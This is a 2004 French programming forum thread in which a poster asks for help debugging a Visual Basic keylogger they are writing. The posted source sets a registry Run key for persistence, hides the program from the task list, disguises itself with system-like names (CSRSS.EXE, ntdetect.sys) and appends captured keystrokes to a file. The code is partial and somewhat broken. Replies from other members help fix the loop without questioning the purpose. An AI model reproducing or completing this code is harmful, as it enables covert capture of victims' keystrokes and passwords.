Pb avec mon code source

cs_ninou14fr Messages postés 9 Date d'inscription dimanche 14 décembre 2003 Statut Membre Dernière intervention 28 juin 2004 - 28 juin 2004 à 13:22
cs_DARKSIDIOUS Messages postés 15814 Date d'inscription jeudi 8 août 2002 Statut Membre Dernière intervention 4 mars 2013 - 28 juin 2004 à 14:29
voila jai une Option Explicit comme je fait un keylogger jai mis un code pour la base de registre pour quil demmare a chaque demmarage voila mon pb je vous passe ma source pouvais vous trouver tous se qui cloche

Option Explicit
Private Sub Form_Load()
Dim WshShell As String

Set WshShell = CreateObject("Wscript.Shell")

WshShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ntdetect", "C:\Windows\CSRSS.EXE"
App.TaskVisible = False

Do While 1 = 1 'change if u want to be able to turn off the timer
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop
End Sub

Private Sub Grab_Change()
Dim f As String
Open "C:\ntdetect.sys" For Input As #1
f = Input(LOF(1), 1)
Close #1

Open "C:\ntdetect.sys" For Output As #1
Print #1, f
Print #1, Grab.Text
Close #1
End Sub

voila merci davance

3 réponses

juvamine Messages postés 468 Date d'inscription vendredi 21 février 2003 Statut Membre Dernière intervention 30 août 2007 2
28 juin 2004 à 13:34
on pourrai savoir si ca plante ? si oui...ou ? sinon c'est dificil de voir kelkechoz

++
juva

Retrouvez une équipe de développeurs confirmés sur le tchate:
serveur : bastia.zefunChat.net
port : 6667
chan : #programmation
0
cs_rene38 Messages postés 1858 Date d'inscription samedi 29 juin 2002 Statut Membre Dernière intervention 17 octobre 2013 11
28 juin 2004 à 13:54
Do While 1 = 1 <= boucle infinie
0
cs_DARKSIDIOUS Messages postés 15814 Date d'inscription jeudi 8 août 2002 Statut Membre Dernière intervention 4 mars 2013 131
28 juin 2004 à 14:29
Mets plutôt cà :

Do
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop

C'est plus clair à comprendre, et je ne pense pas que ca pose de problème !

DarK Sidious

[Responsable API/VB du site www.ProgOtoP.com]
Téléchargez ProgOtoP API Viewer
0